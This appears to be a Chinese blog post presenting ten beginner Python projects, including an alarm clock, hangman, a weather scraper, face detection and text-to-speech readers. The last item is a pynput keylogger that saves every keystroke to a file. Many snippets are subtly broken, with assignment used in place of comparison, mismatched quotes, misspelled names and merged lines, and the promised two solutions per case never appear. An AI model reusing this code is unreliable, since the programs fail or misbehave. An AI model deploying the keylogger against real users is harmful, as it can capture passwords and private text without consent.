对于Python学习者来说,能够熟练的掌握Python中简洁而高效的编程技巧,不仅能够提升程序的效率,更重要的是体现出编程者高超的编程能力。
今天,小编就为大家分享十个Python的小案例,每个案例都有两种解决方法,第一种方法相对小白,第二种方法则是属于有经验的高手写法。案例虽小,但是却蕴含着Python编程的技巧,一起来看看吧。
1.闹钟
编写一个创建闹钟的Python脚本。
你可以使用date-time模块创建闹钟,以及playsound库播放声音。
from datetime import datetime
from playsound import playsound
alarm_time = input("Enter the time of alarm to be set:HH:MM:SS\n")
alarm_hour=alarm_time[0:2]
alarm_minute=alarm_time[3:5]
alarm_seconds=alarm_time[6:8]
alarm_period = alarm_time[9:11].upper()
print("Setting up alarm..")
while True:
now = datetime.now()
current_hour = now.strftime("%I")
current_minute = now.strftime("%M")
current_seconds = now.strftime("%S")
current_period = now.strftime("%p")
if(alarm_period==current_period):
if(alarm_hour==current_hour):
if(alarm_minute==current_minute):
if(alarm_seconds==current_seconds):
print("Wake Up!")
playsound('audio.mp3') ## download the alarm sound from link
break
2.文字冒险游戏
编写一个有趣的Python脚本,通过为路径选择不同的选项让用户进行有趣的冒险。
name = str( input("Enter Your Mame\n"))
print(f"{name} you are stuck in a forest.Your task is to get out from the forest withoutdieing")
print("You are walking threw forest and suddenly a wolf comes in your way.Now Youoptions.")
print("1.Run 2. climb The Nearest Tree ")
user = int(input("choose one option 1 or 2"))
if user = 1:
print("You Died!!")
elif user = 2:
print("You Survived!!")
else:
print("Incorrect Input")
#### Add a loop and increase the story as much as you can
3.有声读物
编写一个Python脚本,用于将Pdf文件转换为有声读物。
借助pyttsx3库将文本转换为语音。
要安装的模块:
pyttsx3
PyPDF2
import pyttsx3,PyPDF2
DdfReader = pyPDF2.PdfFileReader(open( "file.pdf',"rb'))
speaker = pyttsx3.init()
for page_num in range(pdfReader.numPages):
text =pdfReader.getPage(page_num).extractText()
speaker.say(text)
speaker.runAndwait()
speaker.stopo()
4.货币换算器
编写一个Python脚本,可以将一种货币转换为其他用户选择的货币。
使用Python中的API,或者通过forex-python模块来获取实时的货币汇率。
安装:forex-python
from forex _python.converter import CurrencyRatesc = CurrencyRates()
amount = int(input("Enter The Amount You Want To Convert\n"))
from_currency = input( "From\n" )-upper()
to_currency = input( "To\n").upper()
print(from_currency,"To",to_currency , amount)
result = c.convert(from_currency, to_currency, amount)
print(result)
5.天气应用
编写一个Python脚本,接收城市名称并使用爬虫获取该城市的天气信息。
你可以使用Beautifulsoup和requests库直接从谷歌主页爬取数据。
安装:
requests
BeautifulSoup
from bs4 import BeautifulSoup
import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
def weather(city):
city=city.replace(" ","+")
res = requests.get(f'https://www.google.com/search?q={city}&oq={city}&aqs=chrome.0.35i39l2j0l4j46j69i60.6128j1j7&sourceid=chrome&ie=UTF-8',headers=headers)
print("Searching in google......\n")
soup = BeautifulSoup(res.text,'html.parser')
location = soup.select('#wob_loc')[0].getText().strip()
time = soup.select('#wob_dts')[0].getText().strip()
info = soup.select('#wob_dc')[0].getText().strip()
weather = soup.select('#wob_tm')[0].getText().strip()
print(location)
print(time)
print(info)
print(weather+"°C")
print("enter the city name")
city=input()
city=city+" weather"
weather(city)
6.人脸检测
编写一个Python脚本,可以检测图像中的人脸,并将所有的人脸保存在一个文件夹中。
可以使用haar级联分类器对人脸进行检测。它返回的人脸坐标信息,可以保存在一个文件中。
安装:
OpenCV
下载:haarcascade_frontalface_default.xml
import cv2
# Load the cascade
face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')
# Read the input image
img = cv2.imread('images/img0.jpg')
# Convert into grayscale
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
# Detect faces
faces = face_cascade.detectMultiScale(gray, 1.3, 4)
# Draw rectangle around the faces
for (x, y, w, h) in faces:
cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)
crop_face = img[y:y + h, x:x + w]
cv2.imwrite(str(w) + str(h) + '_faces.jpg', crop_face)
# Display the output
cv2.imshow('img', img)
cv2.imshow("imgcropped",crop_face)
cv2.waitKey()
7.提醒应用
创建一个提醒应用程序,在特定的时间提醒你做一些事情(桌面通知)。 Time模块可以用来跟踪提醒时间,toastnotifier库可以用来显示桌面通知。
安装:win10toast
from win10toast import ToastNotifier
import time
toaster = ToastNotifier()
try:
print("Title of reminder")
header = input()
print("Message of reminder")
text = input()
print("In how many minutes?")
time_min = input()
time_min=float(time_min)
except:
header = input("Title of reminder\n")
text = input("Message of remindar\n")
time_min=float(input("In how many minutes?\n"))
time_min = time_min * 60
print("Setting up reminder..")
time.sleep(2)
print("all set!")
time.sleep(time_min)
toaster.show_toast(f"{header}",
f"{text}",
duration=10,
threaded=True)
while toaster.notification_active(): time.sleep(0.005)
8.Hangman
创建一个简单的命令行hangman游戏。
创建一个密码词的列表并随机选择一个单词。现在将每个单词用下划线“”表示,给用户提供猜单词的机会,如果用户猜对了单词,则将“”用单词替换。
import time
import random
name = input("What is your name? ")
print ("Hello, " + name, "Time to play hangman!")
time.sleep(1)
print ("Start guessing...\n")
time.sleep(0.5)
## A List Of Secret Words
words = ['python','programming','treasure','creative','medium','horror']
word = random.choice(words)
guesses = ''
turns = 5
while turns > 0:
failed = 0
for char in word:
if char in guesses:
print (char,end="")
else:
print ("_",end=""),
failed += 1
if failed == 0:
print ("\nYou won")
break
guess = input("\nguess a character:")
guesses += guess
if guess not in word:
turns -= 1
print("\nWrong")
print("\nYou have", + turns, 'more guesses')
if turns == 0:
print ("\nYou Lose")
9.文章朗读器
编写一个Python脚本,自动从提供的链接读取文章。
import pyttsx3
import requests
from bs4 import BeautifulSoup
url = str(input("Paste article url\n"))
def content(url):
res = requests.get(url)
soup = BeautifulSoup(res.text,'html.parser')
articles = []
for i in range(len(soup.select('.p'))):
article = soup.select('.p')[i].getText().strip()
articles.append(article)
contents = " ".join(articles)
return contents
engine = pyttsx3.init('sapi5')
voices = engine.getProperty('voices')
engine.setProperty('voice', voices[0].id)
def speak(audio):
engine.say(audio)
engine.runAndWait()
contents = content(url)
## print(contents) ## In case you want to see the content
#engine.save_to_file
#engine.runAndWait() ## In case if you want to save the article as a audio file
10、键盘记录器
编写一个Python脚本,将用户按下的所有键保存在一个文本文件中。
pynput是Python中的一个库,用于控制键盘和鼠标的移动,它也可以用于制作键盘记录器。简单地读取用户按下的键,并在一定数量的键后将它们保存在一个文本文件中。
from pynput.keyboard import Key, Controller,Listener
import time
keyboard = Controller()
keys=[]
def on_press(key):
global keys
#keys.append(str(key).replace("'",""))
string = str(key).replace("'","")
keys.append(string)
main_string = "".join(keys)
print(main_string)
if len(main_string)>15:
with open('keys.txt', 'a') as f:
f.write(main_string)
keys= []
def on_release(key):
if key == Key.esc:
return False
with listener(on_press=on_press,on_release=on_release) as listener:
listener.join()
?
更多练手小项目:
粉丝福利。内部跳转
?
?
|